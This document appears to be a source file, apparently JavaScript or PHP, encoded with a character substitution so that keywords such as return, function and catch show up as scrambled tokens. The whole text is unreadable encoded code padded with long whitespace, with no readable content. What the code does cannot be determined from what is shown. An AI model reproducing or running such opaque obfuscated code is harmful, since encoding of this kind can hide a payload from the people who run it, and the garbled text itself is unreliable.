EPBMEYMGE [ZKLSD_  							KKAEPBMEYMGE 										CPJ^XGMBXvAF			Z][@GN 	SPDBZLLFM]  			X #		@O				SPDBZLLFM] @^v_XSYHPXKSN   	R#						i\YMH]LvFY]@FG@^v_XSYHPXKSN 					CPJ^XGMBXvAF			U						KKAEPBMEYMGE  			@N[KMFGKOJZ  #	T#					T#							SLNBE_^K@P				\vJHFGLF__PBZFA]G #				@O			SLNBE_^K@P					KKAEPBMEYMGE [ZKLSD_  					iSPDBZLLFM] SLNBE_^K@P 						iKKAEPBMEYMGE SLNBE_^K@P  				R####				]CMKXXQK@G\FHSLNBE_^K@P								@N[KMFGKOJZ 						M_XXHYC^C_SP		CPJ^XGMBXvAF				X #	T#		@O			@N[KMFGKOJZ KKAEPBMEYMGE  							@^v_XSYHPXKSN @^v_XSYHPXKSN   	R###	MHK_[YGZ]						NL]vFY]@FG@^v_XSYHPXKSN 			H[[HP  #	@O			KKAEPBMEYMGE MHK_[YGZ] 				KKAEPBMEYMGE X^A[SKOSH[ 			MHK_[YGZ]	][\L  			R#i\YMH]LvFY]@FG@N[KMFGKOJZ 	SPDBZLLFM] SPDBZLLFM] MHK_[YGZ]					H[[HPX^A[SKOSH[     #						T#		T#GY_[H^KNPNHE@^v_XSYHPXKSN  #BGOYLB_vC		[ZKLSD_ 								@^v_XSYHPXKSN #							@O	SPDBZLLFM] @N[KMFGKOJZ   	iSPDBZLLFM] [ZKLSD_ 	BGOYLB_vC #		@O					SPDBZLLFM] SPDBZLLFM]   	R##iFYJHJALv@G_HE@MH]L[ZKLSD_ 		][\L ###					iFYJHJALv@G_HE@MH]LBGOYLB_vC		][\L #		##T####					OF[LHJA				H[[HP@N[KMFGKOJZ BGOYLB_vC 	\vJHFGLF__PBZFA]G  	HZ	]NCMFQEO 			R###XG_GLF_B			\Z\AGLAZAHZXB\]NCMFQEO ####	@O	SPDBZLLFM] XG_GLF_B  			JFG]@G\LZJJ[B^N@FvSYZJJ[B ZJJ[BZJJ[B#	OF[LHJA						XG_GLF_B					HZ		_HCY@XG^HEC 					R#@O					SPDBZLLFM] _HCY@XG^HEC				  				KKAEPBMEYMGE  	JFG]@G\L#		\CM@[XGOSAG			]NCMFQEO								_HCY@XG^HEC#			XASQMBCE@DDHH					iKKAEPBMEYMGE \CM@[XGOSAG #			@O		XASQMBCE@DDHH				XASQMBCE@DDHH		KKAEPBMEYMGE  							  				R#	H]FD	]HKEL##				XX]L[vEYC^\OZSZ_@JL\CM@[XGOSAG	  ####	@PE[Z\[XJ_PLXG\CM@[XGOSAG #	T#						T#				T###			\GZL]]NCMFQEO			XG_GLF_B		_HCY@XG^HEC	\CM@[XGOSAG				XASQMBCE@DDHH #				T				JH]JA			}A[F^HKEL				CKH_M_GGYXKB 			R#	T			JH]JA				lQJLY]@FG	CKH_M_GGYXKB 					R#T#T#	O\GJ]@FG						F^ZNDHAG^BGEQBCJL		@KL^_D[ #	R#				][P			R#@O		KKAEPBMEYMGE GEQBCJL 		UU						GEQBCJL									UU				SPDBZLLFM] @KL^_D[ 				UU	@KL^_D[					 			[L]\[G#	[YBEB\JZ						KKAEPBMEYMGE GEQBCJL #@O			iKKAEPBMEYMGE [YBEB\JZ 						UU				iKKAEPBMEYMGE [YBEB\JZ  	[L]\[G#	YvLBXDEQ[Z[						[YBEB\JZ				@^v_XSYHPXKSN 						@N[KMFGKOJZ GEQBCJL				@^v_XSYHPXKSN  #XX\\OvB			i@N[KMFGKOJZ YvLBXDEQ[Z[ #@O	@N[KMFGKOJZ XX\\OvB 						SPDBZLLFM] @N[KMFGKOJZ 					XX\\OvB			_CZDGOY 						_L[Z@FGvJFDYH[L_CZDGOYrt					@KL^_D[						@^v_XSYHPXKSN   	[L]\[G#					@O	SPDBZLLFM] @N[KMFGKOJZ   			i@N[KMFGKOJZ YvLBXDEQ[Z[			@KL^_D[ #					T	JH]JA	}A[F^HKEL				E]GYK]v 	R###T				JH]JA	lQJLY]@FG		E]GYK]v 		R#		T#			T#								O\GJ]@FG	CKMX^JSGYXNH #R#						][P			R#@O	@^v_XSYHPXKSN @^v_XSYHPXKSN   		R#	yz{	GHDLZYHJLZ	OFG]	OHJL##		[L]\[G#		T#					@O	iNL]vFY]@FGKKAEPBMEYMGE 	  	R][YCCO_HXBAUM\ENJJ][YCCO_HXBAw##	NPBEZ_MS\_BK@N[KMFGKOJZ 	@N[KMFGKOJZ 	 #			T#@O				JD@CQMEODG^@N[KMFGKOJZ   			[L]\[G#			#				XZ^\@KJE^			SPDBZLLFM] KKAEPBMEYMGE hkzyh}a					Z][@GN 			Y[CQSEMDC_  							QQ  ###			]S[H[@									Z][@GN 		iNL]vFY]@FGXZ^\@KJE^			 #		PFZHBKCCEJ						@N[KMFGKOJZ #				___S[Yv^B		###					##LOQMv@NOZ[				Z][[L_@BZAN\Q\PQ@EXJP  #		SvESZAXQM						^NKBHS]S^NFHGH^O] #	LQOACY@B					SvESZAXQM					U				LOQMv@NOZ[#	#@O		@^v_XSYHPXKSN ]S[H[@			U 					OHEZL 	R###				CHHDLCS\JKB			SPDBZLLFM] U	]S[H[@				 #PFZHBKCCEJ						CHHDLCS\JKBrt#				___S[Yv^B				CHHDLCS\JKBrt				#T					LEZL	R#		#			___S[Yv^B				]S[H[@#	T##@O		___S[Yv^B 	R#	i\YMH]LvFY]@FGXZ^\@KJE^			LQOACY@B			@^v_XSYHPXKSN  #	[L]\[G###				T#####		@O		___S[Yv^B				LOQMv@NOZ[ 				R#		@O			]S[H[@			LQOACY@B						_L[Z@FGvJFDYH[LSvESZAXQM	PFZHBKCCEJ			SPDBZLLFM]   					R#		i\YMH]LvFY]@FGXZ^\@KJE^	LQOACY@B			SPDBZLLFM]  #	T#[L]\[G#							T#				#	GNK^ADSN@@					Z][[L____S[Yv^B #						@O		GNK^ADSN@@											UU		@^v_XSYHPXKSN GNK^ADSN@@ 							GNK^ADSN@@ 		R#		i\YMH]LvFY]@FGXZ^\@KJE^				LQOACY@B	SPDBZLLFM]  #		[L]\[G#	T#							_SJGKHMYCNL							\vJHFGLF__PBZFA]G 										GNK^ADSN@@###		XYANMFPQH@N]Q							#	@O		MLO@GLM@N[KMFGKOJZ   			R#XYANMFPQH@N]Q				~yvye|n`gvm`{								@N[KMFGKOJZ GNK^ADSN@@	yh}a`gofvo`elghdl 										GNK^ADSN@@#						T####						#		D__Q\HA_GBD]Q						i@^v_XSYHPXKSN _SJGKHMYCNL #			K\^POSvJMP						D__Q\HA_GBD]Q					OHEZL							D__Q\HA_GBD]Q					QKQM ####						LXHQO]KLGC					XYANMFPQH@N]Q					i@N[KMFGKOJZ XYANMFPQH@N]Q 				OHEZL#		MBZvOBCH					LXHQO]KLGC								OHEZL					LXHQO]KLGC							 ##	@O		K\^POSvJMP				MBZvOBCH 		R#	i\YMH]LvFY]@FGXZ^\@KJE^	LQOACY@B				@N[KMFGKOJZ  #			[L]\[GDGAPYBOvOyayvdhcf{vl{z`fgXOD[_@Q@KPBADGAPYBOvO#			T##		]Y_DMLZADCEO			K\^POSvJMP									_SJGKHMYCNL									XYANMFPQH@N]Q#JLE_YM							iKKAEPBMEYMGE ]Y_DMLZADCEO			OHEZL		G\EE			  #		##					@O					@N[KMFGKOJZ JLE_YM 				@N[KMFGKOJZ KKAEPBMEYMGE 		JLE_YM					vOD  		R#PFZHBKCCEJ				vODrt#T				LEZL@O	QL@vJL^E^ZMBO_]Y_DMLZADCEO		   		R##	PFZHBKCCEJ			@N[KMFGKOJZ ##	T#						\GZL]JLE_YM					vOD #	vvEP[LvA@^F			K\^POSvJMP##@O		vvEP[LvA@^F						MBZvOBCH 	R#	KQ]KS					@^v_XSYHPXKSN GNK^ADSN@@		yh}a`gofvo`elghdl 											GNK^ADSN@@#@PS[NGZMCD					H[[HP 				iNL]vFY]@FG@N[KMFGKOJZ 		H[[HP  #								vvEP[LvA@^F							@^v_XSYHPXKSN KQ]KS					@PS[NGZMCD		][\L #		@O		vvEP[LvA@^F					@N[KMFGKOJZ @N[KMFGKOJZ  							@ZvD\E]@Z@]L 					KKAEPBMEYMGE SPDBZLLFM]   			R#O_CNM@HY					H[[HP 		iNL]vZ@]LvFY]@FGKKAEPBMEYMGE 				H[[HP  #					vvEP[LvA@^F					@ZZL]O_CNM@HYrKQ]KSt ####		\GZL]O_CNM@HY #				##	T#				\GZL]KQ]KS	@PS[NGZMCD ###			T##							BQA[HZSLGAP					_L[Z@FGvJFDYH[LSvESZAXQM					PFZHBKCCEJ ##@O				BQA[HZSLGAP				 	R###E@ZGYM_Nv									QL@vJL^E^ZMBO_]Y_DMLZADCEO	  #	F_HHCvGLJLJ							@G] 	i@N[KMFGKOJZ ]Y_DMLZADCEO #					HHEHBLBFQ						E@ZGYM_Nv	UU			F_HHCvGLJLJ				  #				@O		HHEHBLBFQ		F_HHCvGLJLJ		QLOQMM  					R#	G@EYF]LG]	Y@YLE@GL##			OL[AOP^\				iKKAEPBMEYMGE ]Y_DMLZADCEO		OHEZL		G\EE				  #				@O				@^v_XSYHPXKSN OL[AOP^\ 					UU			SPDBZLLFM] @^v_XSYHPXKSN 		OL[AOP^\  			HHEHBLBFQ				][\L###		T###						@O				HHEHBLBFQ			G_JS\F^JAQ[]Y_DMLZADCEO  	HHEHBLBFQ						][\L#				@O			HHEHBLBFQ 			R#		L[AYSADSF					]EQJZAHNQK^ #		@O	LDY]PL[AYSADSFr@^v_XSYHPXKSN t  	R#	yz{	D@MMEL^H[L	LQYFGLG]@HE	KHJBEFN##		GEKZFH]EQO								iKKAEPBMEYMGE L[AYSADSFr@N[KMFGKOJZ t #		[ANA\LCH										i@^v_XSYHPXKSN ]Y_DMLZADCEO #		@O		SPDBZLLFM] GEKZFH]EQO 			@^v_XSYHPXKSN [ANA\LCH 								GEKZFH]EQO					[ANA\LCH 		R#					^vHDGKPG[Z[LAD@			J\YJJLJH_G\OQL[AYSADSF #				@O				^vHDGKPG[Z[LAD@					@N[KMFGKOJZ 	UU			^vHDGKPG[Z[LAD@						@^v_XSYHPXKSN  		HHEHBLBFQ								][\L#					T#\GZL]GEKZFH]EQO		[ANA\LCH	^vHDGKPG[Z[LAD@ #	T#	MLO[HNDLG]	JFGZ][H@G]ZL]	OF[	~y	n[F\Y	kEFJB##		@O	HHEHBLBFQ								_CGDX^NXFO[G]Y_DMLZADCEO  		HHEHBLBFQ				][\L#\GZL]L[AYSADSF #			T#		@O			HHEHBLBFQ 		R#@O	E@ZGYM_Nv 		MSv@FPEQOZNH@]Y_DMLZADCEO #	i\YMH]LvFY]@FGXZ^\@KJE^			LQOACY@B	SPDBZLLFM]  #[L]\[G#				T#@O		vvEP[LvA@^F 			R#		i\YMH]LvFY]@FGXZ^\@KJE^		LQOACY@B	@^v_XSYHPXKSN  #	[L]\[G####			T#			F^ZNDHAG^B[ZKLSD_ 		PFZHBKCCEJ #			[^DQ@[Z@vA_KGM@Q[ZKLSD_  ###		[L]\[G					][\L##T#					@O	LDY]Pnefkhezr@N[KMFGKOJZ t  	R##	nefkhezrSPDBZLLFM] t								][\L#	@O	QL@vJL^E^ZMBO_]Y_DMLZADCEO			   		MSv@FPEQOZNH@]Y_DMLZADCEO #CQ_@EXD^JBOCP				SPDBZLLFM]  ###	JBA\G@vQJPN]M][ZKLSD_ 			CQ_@EXD^JBOCP								CQ_@EXD^JBOCP							   					Y[CQSEMDC_  #			\GZL]CQ_@EXD^JBOCP ###								F^ZNDHAG^B_SJGKHMYCNL			SvESZAXQM #				@O						XYANMFPQH@N]Q 	F^ZNDHAG^BXYANMFPQH@N]Q			SvESZAXQM #NPBEZ_MS\_BK@N[KMFGKOJZ 				KKAEPBMEYMGE 		 #i\YMH]LvFY]@FGXZ^\@KJE^				LQOACY@B		SPDBZLLFM]  #GY_[H^KNPNHE@^v_XSYHPXKSN  #@O		XYANMFPQH@N]Q										@N[KMFGKOJZ SPDBZLLFM]   				R#			\B\BE							SPDBZLLFM] GNK^ADSN@@	yh}a`gofvo`elghdl 																GNK^ADSN@@##@PS[NGZMCD				iNL]vFY]@FG@N[KMFGKOJZ 	H[[HP  Sv]H[_J_Hyayvdhcf{vl{z`fg_N^[A^[BSv]H[_J_H####	@O			KKAEPBMEYMGE @PS[NGZMCD 				@N[KMFGKOJZ \B\BE			@PS[NGZMCD		][\L  			R#		i\YMH]LvFY]@FGKKAEPBMEYMGE 				SPDBZLLFM] @N[KMFGKOJZ @PS[NGZMCD		H[[HP\B\BE    #T#	\GZL]\B\BE	@PS[NGZMCD #T#	T#		[L]\[G####	T			JH]JA			}A[F^HKEL		E]GYK]v 		R#		FBQKvM[JB\ZMHPE\SPDBZLLFM] 	E]GYK]v ####				T		JH]JA			lQJLY]@FG		E]GYK]v 		R#	T		O@GHEEP			R#			NZADHFK@PJ[@N[KMFGKOJZ  ####		T###	T#	O\GJ]@FG		\Z\AGLAZAHZXB\[YBEB\JZ #R###		@O	@^v_XSYHPXKSN SPDBZLLFM]  				KKAEPBMEYMGE @N[KMFGKOJZ   		R###	]QHO\ADvHN[YL		i@N[KMFGKOJZ [YBEB\JZ ##@O		]QHO\ADvHN[YL 		RLY[BCFP@]OUPSZX^vLY[BCFP@]Ow#		[@SJ_CSFAXGMQvQ								H[[HP #	^A@EL	E]GYK]v				iKKAEPBMEYMGE ]QHO\ADvHN[YL  					OHEZL 				R#@O		E]GYK]v							E]GYK]v			SPDBZLLFM]  				[@SJ_CSFAXGMQvQrt				E]GYK]v#	T#				@O	KKAEPBMEYMGE SPDBZLLFM]   					i@^v_XSYHPXKSN ]QHO\ADvHN[YL #						[L]\[G				[@SJ_CSFAXGMQvQ#T#						T#	@O						SPDBZLLFM] KKAEPBMEYMGE   	R#			YCOFJFCO\						iSPDBZLLFM] [YBEB\JZ #@O				@^v_XSYHPXKSN YCOFJFCO\  		[L]\[G		@^v_XSYHPXKSN @^v_XSYHPXKSN YCOFJFCO\	H[[HP					KKAEPBMEYMGE    #						T##@O			@^v_XSYHPXKSN KKAEPBMEYMGE   	R#		EYCHFE			i@^v_XSYHPXKSN [YBEB\JZ					@^v_XSYHPXKSN  #							@O		@N[KMFGKOJZ EYCHFE  	[L]\[G	@N[KMFGKOJZ @^v_XSYHPXKSN 	EYCHFE #	T#						[L]\[G		G\EE#							T##O\GJ]@FG	_SMG[M@XJvKJSK\]KD]PF\EJY #R#		@O					@N[KMFGKOJZ ]KD]PF\EJY 	UU	@N[KMFGKOJZ ]KD]PF\EJY		@^v_XSYHPXKSN  						OHEZL 	[L]\[G		OHEZL\G\NMA^J_^AY\]FQAYO\G\NMA^J_^#							@O					SPDBZLLFM] ]KD]PF\EJY 							  		]KD]PF\EJY							C^v@Z@\@ACBCL]KD]PF\EJY ####	@O	@N[KMFGKOJZ ]KD]PF\EJY 						  		[L]\[G		OHEZL#		@O		KKAEPBMEYMGE SPDBZLLFM]   			[L]\[G		][\L#			@O			MLO@GLM@^v_XSYHPXKSN   			R#					LMA]M_v			i]FBLGvNL]vHEE]KD]PF\EJY #			@O			@N[KMFGKOJZ LMA]M_v  		[L]\[G						][\L#				L]v\\SOvJA[					#						OF[LHJA				LMA]M_v	HZ	@ZN[XKKQY 		R#							@O	KKAEPBMEYMGE @ZN[XKKQY  				R##		@O	@ZN[XKKQYrt							}vj|{epvfylg		UU	@ZN[XKKQYrt									}vmfeeh{vfylgvj|{epvk{hjlz 	L]v\\SOvJA[#				JFG]@G\L#T#@O			@ZN[XKKQY						R 		L]v\\SOvJA[#					LEZL@O	@ZN[XKKQY				T 					R####				L]v\\SOvJA[#	@O				L]v\\SOvJA[		 		[L]\[G		OHEZL###		T####T####							[L]\[G			L]v\\SOvJA[						#	T#][P	R#		i]FBLGvNL]vHEE]KD]PF\EJY		}fblgvyh{zl ###				[L]\[G					][\L#		T		JH]JA				}A[F^HKEL		E]GYK]v 			R#		[L]\[G					OHEZL#				T				JH]JA						lQJLY]@FG	E]GYK]v 				R#[L]\[G			OHEZL#			T#T#				O\GJ]@FG			GGLDGXPF^PLBHN^C #				R#[L]\[G		H[[HPSPDBZLLFM] 					@^v_XSYHPXKSN 			@^v_XSYHPXKSN  #		T#							O\GJ]@FG		XANv\LXY__PKOA #					R#			[L]\[G		H[[HPSPDBZLLFM] 		@N[KMFGKOJZ 	@N[KMFGKOJZ 				SPDBZLLFM] 	@N[KMFGKOJZ 	KKAEPBMEYMGE 		@N[KMFGKOJZ 		@^v_XSYHPXKSN 			KKAEPBMEYMGE 	KKAEPBMEYMGE 			@N[KMFGKOJZ 				SPDBZLLFM] 	@^v_XSYHPXKSN 		KKAEPBMEYMGE 		KKAEPBMEYMGE 			KKAEPBMEYMGE 		KKAEPBMEYMGE 	KKAEPBMEYMGE 				@^v_XSYHPXKSN 					@^v_XSYHPXKSN  OY@__vO@ZXK_MEYPB_OY@__vO@Z####								T#		O\GJ]@FG				@S]MS^KHZNAQLFD #	R#			[L]\[G	H[[HP@N[KMFGKOJZ 		SPDBZLLFM] 				SPDBZLLFM] 		@^v_XSYHPXKSN  #	T#			#			O\GJ]@FG	\vQGYOGYCKO_J@Pv^\QYANGZLv #			R#		@O		@N[KMFGKOJZ KKAEPBMEYMGE   			[L]\[G		NSLGJFML^\QYANGZLv		w  ####	@O	@N[KMFGKOJZ KKAEPBMEYMGE   				R#		[L]\[G		uQOuQKuQuQuQuQuQuQuQuQ				NSMLOEH]L^\QYANGZLv	  								SPDBZLLFM] 			@^v_XSYHPXKSN ^\QYANGZLv  								KKAEPBMEYMGE 		SPDBZLLFM] ^\QYANGZLv 				  ##				T#[L]\[G			^\QYANGZLv#				T#					O\GJ]@FG		XY^K]SYF@N@CEQ_[F^\QYANGZLv ##		R#		@O	@^v_XSYHPXKSN ^\QYANGZLv 				UU	KKAEPBMEYMGE ^\QYANGZLv 					 			[L]\[G	^\QYANGZLv#@O		SPDBZLLFM] ^\QYANGZLv								 				uQOuQK 					[L]\[G			^\QYANGZLv##		@O			SPDBZLLFM] ^\QYANGZLv 				QQO  			[L]\[G	OHEZL#			DBA[[_v				iSPDBZLLFM] 						@^v_XSYHPXKSN ^\QYANGZLv				w   #					DBA[[_v								KKAEPBMEYMGE DBA[[_v 		DBA[[_vrt			EYJCNMN\UM[L[X@DMHBYEYJCNMN\w####		@O			DBA[[_v						 	UU						DBA[[_v								QLKOLQJ  	[L]\[G		OHEZL####			@O			SPDBZLLFM] @N[KMFGKOJZ   		R#L[GLAFES			iNSMLJFML^\QYANGZLv			  #				##						@O			L[GLAFES				OHEZL 			[L]\[G	L[GLAFES#					T#			@O	@^v_XSYHPXKSN @N[KMFGKOJZ   			R####		L[GLAFES		iNS@GOEH]L@N[KMFGKOJZ ^\QYANGZLv	w 			@N[KMFGKOJZ ^\QYANGZLv 		  	  ###[L]\[G		@N[KMFGKOJZ L[GLAFES 								@N[KMFGKOJZ L[GLAFES 							QLLQJ  			L[GLAFES						OHEZL#							T#			[L]\[G	OHEZL###				T####			#	@O					SPDBZLLFM] @^v_XSYHPXKSN   			R###O\GJ]@FG	ALQK@GP]ZXOA #		R##					@O							KKAEPBMEYMGE P]ZXOA 					UU			KKAEPBMEYMGE P]ZXOA 												 	R#[L]\[G			OHEZL#		T#		[L]\[G	@N[KMFGKOJZ @N[KMFGKOJZ 						P]ZXOA #			T#					T###	O\GJ]@FG			^ASQ\PAL\@O ####	R#				K@vMQYO^Q												H[[HP #		S\NF^AJ]DFPKGCL						H[[HPhkzyh}a	hkzyh}a					@^v_XSYHPXKSN 				hkzyh}a				SPDBZLLFM]  #							@O		MLO@GLMKKAEPBMEYMGE   			S\NF^AJ]DFPKGCLrt			~yvjfg}lg}vm`{					#	OF[LHJA					S\NF^AJ]DFPKGCL			HZ		L[GLAFES 			R#		QvL@DHL^QL				@N[KMFGKOJZ SPDBZLLFM]  						iKKAEPBMEYMGE L[GLAFES			@N[KMFGKOJZ  				OHEZL#	@O	@^v_XSYHPXKSN QvL@DHL^QL  				R#	OF[LHJA			QvL@DHL^QL	HZ		MLXDFHODDKY 	R####		^GZX__F					iKKAEPBMEYMGE MLXDFHODDKY ####@O				^GZX__F					^GZX__F					  				R#		K@vMQYO^Qrt				^GZX__F####		T#	T#					T#	i@G@]@HE@SL	M@ZYH]JAL[##		T####@O		LDY]PK@vMQYO^Q  			R#_ONSMO				K@vMQYO^QrSPDBZLLFM] K@vMQYO^Q t##	[L]\[G	_ONSMO				_ONSMO										   				Y[CQSEMDC_ #	T#						Q]@QNOH\XK					KKAEPBMEYMGE  								 							 							  #	KCCF@S@DQ@							@^v_XSYHPXKSN @^v_XSYHPXKSN  							^Yv[HGM	QKQ 					QMQK 						  					@N[KMFGKOJZ 			 				 						  #			_ONSMO			Q]@QNOH\XK							KCCF@S@DQ@#[L]\[G		_ONSMO										_ONSMO						   				Y[CQSEMDC_ #T#						O\GJ]@FG		Z[ZXvKF[YSH@YCDCJYMNO	AH^@FLCZQ^Y	FDQKDH						G\EE #				R#		NJZY^ZOE					O\GJ]@FG					]_]YAEMZK 	\ZL			FDQKDH 	R#							@O	SPDBZLLFM] ]_]YAEMZK 			UU	]_]YAEMZK					 	[L]\[G		OHEZL#			@O		@^v_XSYHPXKSN ]_]YAEMZK 				  	[L]\[G			OHEZL#@O		FDQKDH 				R##				][P	R##[L]\[G	KFFE 	@N[KMFGKOJZ FDQKDH				]_]YAEMZK #				T					JH]JA			}A[F^HKEL	E]GYK]v 	R###			[L]\[G		OHEZL#				T	JH]JA			lQJLY]@FG				E]GYK]v 		R#					[L]\[G					OHEZL#								T#				T###	[L]\[G		][\L#						T#	@M]C[_E^C]GSP		@N[KMFGKOJZ @N[KMFGKOJZ  										iKKAEPBMEYMGE CDCJYMNO	H[[HP#					KKAEPBMEYMGE 				AH^@FLCZQ^Y#SPDBZLLFM] 			OHEZL#								@N[KMFGKOJZ 						QMMLQ ##  				OHEZL##				@O	@M]C[_E^C]GSP		SPDBZLLFM] KKAEPBMEYMGE  		UU		@Zv^YvL[[F[@M]C[_E^C]GSP   		R####		@O	@G] 	^Yv[LDF]Lv[L][@L_Lv[LZYFGZLvJFML@M]C[_E^C]GSP 				w  			R#				DKA@P^^vC				^Yv[LDF]Lv[L][@L_LvKFMP@M]C[_E^C]GSP #		@O	NJZY^ZOEDKA@P^^vC  		[L]\[G				DKA@P^^vC#			T#		T#							@O	KKAEPBMEYMGE @N[KMFGKOJZ  							@^v_XSYHPXKSN SPDBZLLFM]  		KKAEPBMEYMGE KKAEPBMEYMGE   			R#		P\HMANKPG					i@^v_XSYHPXKSN CDCJYMNO #@O		P\HMANKPG							OHEZL 	[L]\[G			OHEZL###	iKKAEPBMEYMGE P\HMANKPG			H[[HP#				JFGZ]HG]KKAEPBMEYMGE  				][\L#	JFGZ]HG]KKAEPBMEYMGE  		AH^@FLCZQ^Y####		JFGZ]HG]KKAEPBMEYMGE  				OHEZL#			JFGZ]HG]@^v_XSYHPXKSN  				#			JFGZ]HG]@^v_XSYHPXKSN  					OHEZL###	JFGZ]HG]@^v_XSYHPXKSN  						O\GJ]@FG					@DZNOYA	CYSYK\OB@	BGP@NNMSO 		R	[L]\[G				BGP@NNMSO			 																		T##	  ####			DLK^^CHLZXG				i@N[KMFGKOJZ P\HMANKPG #	A^P\EOOPQ\						iJ\[EvL[[GFP\HMANKPG #		A@G[EvPLS			iJ\[EvNL]@GOFP\HMANKPG ####iJ\[EvJEFZLP\HMANKPG #@O			A^P\EOOPQ\ 	[L]\[G				OHEZL#@O	@G] 		A@G[EvPLSrSPDBZLLFM] t			 						DLK^^CHLZXG									OHEZL			NJZY^ZOEDLK^^CHLZXG  			R#		[L]\[G		DLK^^CHLZXG#	T#T#	MLZ][\J]@FG	FKZL[_L[##[L]\[G		OHEZL#	T##	O\GJ]@FG	_]MNF_JCDCJYMNO			AGDPK]KvZQOEZ			S^JXDQAZZ\				AH^@FLCZQ^Y		FDQKDH			G\EE #	R#			NJZY^ZOE						O\GJ]@FG			]_]YAEMZK 		\ZL			FDQKDH 			R#			@O	@N[KMFGKOJZ ]_]YAEMZK 					UU	]_]YAEMZK								 					[L]\[G	OHEZL#		@O	@N[KMFGKOJZ ]_]YAEMZK 								  	[L]\[G		OHEZL#			@O			FDQKDH 		R####			][P		R#					[L]\[G	KFFE 	@^v_XSYHPXKSN FDQKDH	]_]YAEMZK #		T			JH]JA					}A[F^HKEL				E]GYK]v 			R##		[L]\[G	OHEZL#		T	JH]JA			lQJLY]@FG		E]GYK]v 	R#[L]\[G	OHEZL#				T###	T#	[L]\[G			][\L#	T#			@M]C[_E^C]GSP						@^v_XSYHPXKSN @N[KMFGKOJZ  			i@^v_XSYHPXKSN CDCJYMNO		H[[HP#					KKAEPBMEYMGE 		AH^@FLCZQ^Y##	SPDBZLLFM] 			OHEZL#	SPDBZLLFM] 				 #KKAEPBMEYMGE 			S^JXDQAZZ\#			KKAEPBMEYMGE 		AGDPK]KvZQOEZ####				  			OHEZL#					@O		KKAEPBMEYMGE @^v_XSYHPXKSN  				@Zv^YvL[[F[@M]C[_E^C]GSP  		R#T	LEZL@O					@M]C[_E^C]GSP 			R#		]KD]PF\EJY					@G] 	^Yv[LDF]Lv[L][@L_Lv[LZYFGZLvJFML@M]C[_E^C]GSP #QY@PYLE							^Yv[LDF]Lv[L][@L_LvKFMP@M]C[_E^C]GSP ####						LJAEJL^AKFSMCA						^Yv[LDF]Lv[L][@L_LvALHML[Z@M]C[_E^C]GSP #		\GD\_G@D@\FNN						#	@O						SPDBZLLFM] LJAEJL^AKFSMCA  		R#	~y	yFZ]	jFDDLG]Z	FKZ][\J]@FGO[LL	K@_H[@HG]##						OF[LHJA			LJAEJL^AKFSMCA		HZ				L\vO][CK				_BvQP[N^E 	R#	\GD\_G@D@\FNN					L\vO][CK									@N[KMFGKOJZ 							_BvQP[N^E			SPDBZLLFM] #	T####	T#	@O		]KD]PF\EJY		 					NJZY^ZOEQY@PYLE  		R#		[L]\[G	QY@PYLE#							##		T#T	LEZL	R#				T#	@O	KKAEPBMEYMGE SPDBZLLFM]  					SPDBZLLFM] SPDBZLLFM]  							@^v_XSYHPXKSN SPDBZLLFM]   		R#	P\HMANKPG			i@^v_XSYHPXKSN CDCJYMNO #@O				P\HMANKPG		OHEZL 		R#	[L]\[G		OHEZL#T#	iY\KE@ZA	[LJF[MEHPL[##FXYAONvHL						H[[HP #	OF[LHJA	S^JXDQAZZ\	HZ						L\vO][CK			_BvQP[N^E 		R#FXYAONvHLrt							L\vO][CK						@N[KMFGKOJZ 			_BvQP[N^E#	T#		i@N[KMFGKOJZ P\HMANKPG		H[[HP#JFGZ]HG]@N[KMFGKOJZ  				][\L####						JFGZ]HG]SPDBZLLFM]  						AGDPK]KvZQOEZ#		JFGZ]HG]SPDBZLLFM]  						][\L#		JFGZ]HG]@N[KMFGKOJZ  			AH^@FLCZQ^Y#						JFGZ]HG]SPDBZLLFM]  								OHEZL#							JFGZ]HG]KKAEPBMEYMGE  							#	JFGZ]HG]@N[KMFGKOJZ  								FXYAONvHL#JFGZ]HG]@^v_XSYHPXKSN  							OHEZL#				JFGZ]HG]@N[KMFGKOJZ  		O\GJ]@FG	@DZNOYA						CYSYK\OB@				BGP@NNMSO 					R		[L]\[G					BGP@NNMSO					 																		T#						  #	DLK^^CHLZXG			i@N[KMFGKOJZ P\HMANKPG ###				A^P\EOOPQ\			iJ\[EvL[[GFP\HMANKPG #			A^OvSOJ[]HS				iJ\[EvL[[F[P\HMANKPG #				A@G[EvPLS				iJ\[EvNL]@GOFP\HMANKPG ####	SAQC^Y@CGMFBQ								@G] 						A@G[EvPLSr@^v_XSYHPXKSN t#@O	A^P\EOOPQ\ 				R#	iJ\[EvJEFZLP\HMANKPG #		[L]\[G		OHEZL###			T#	dPzxe	^@GMF^	O\GJ]@FGZ	MPGHD@J	Y[@GJ@YHE#####	iJ\[EvJEFZLP\HMANKPG OH@J^@\XOKM]XFPO@]EMNOH@J^@\XOKM#	@O						SAQC^Y@CGMFBQ					QQJ 							DLK^^CHLZXG						OHEZL						NJZY^ZOEDLK^^CHLZXG  					R#					[L]\[G			DLK^^CHLZXG#			###	T##	@O	DLK^^CHLZXG 	R#T#[L]\[G		OHEZL#T#			[L]\[G		OHEZL#			T#	#	O\GJ]@FG		AM_PYB]^H_BM_ #			R#	_QQMEC\GAMNXB			GGLDGXPF^PLBHN^C #						_DSC[P\NBEE]		XANv\LXY__PKOA #	#@O	LDY]P_QQMEC\GAMNXB 		UU	LDY]P_DSC[P\NBEE]  	R#[L]\[G	H[[HP #	T#					#							EJ]CNKZC\vB^				KKAEPBMEYMGE @N[KMFGKOJZ  			Z][@GN 	NL]vFY]@FG@^v_XSYHPXKSN 	 		####@O		EJ]CNKZC\vB^					 			R#	\GEFHM	KH]JA	[@GNK\OOL[##_DSC[P\NBEE]					@N[KMFGKOJZ KKAEPBMEYMGE _DSC[P\NBEE]	H[[HPEJ]CNKZC\vB^   ##					KKAEPBMEYMGE _DSC[P\NBEE]					EJ]CNKZC\vB^ #	T#				#BD_vGZP_A								@^v_XSYHPXKSN _QQMEC\GAMNXBr@N[KMFGKOJZ _QQMEC\GAMNXB t #	@O			BD_vGZP_A							 	R###	[L]\[G					H[[HP #	T##				#		AGDPK]KvZQOEZ					@N[KMFGKOJZ 						BD_vGZP_A			KKAEPBMEYMGE #	^GMPOCF@_HSL			H[[HP@N[KMFGKOJZ 							@^v_XSYHPXKSN  #	HDMD\C@]\			@N[KMFGKOJZ ][\L #		OF[LHJA			_DSC[P\NBEE]			HZ	YEN@[@]M 			R#		#			@O			SPDBZLLFM] ][\L 					HDMD\C@]\ 			  		R#K[LHB#				T#	{LJ]F[	H\]F[LOHJ]F[	[F]H]L	[LZFE_L[##		#					YEN@[@]M		SPDBZLLFM]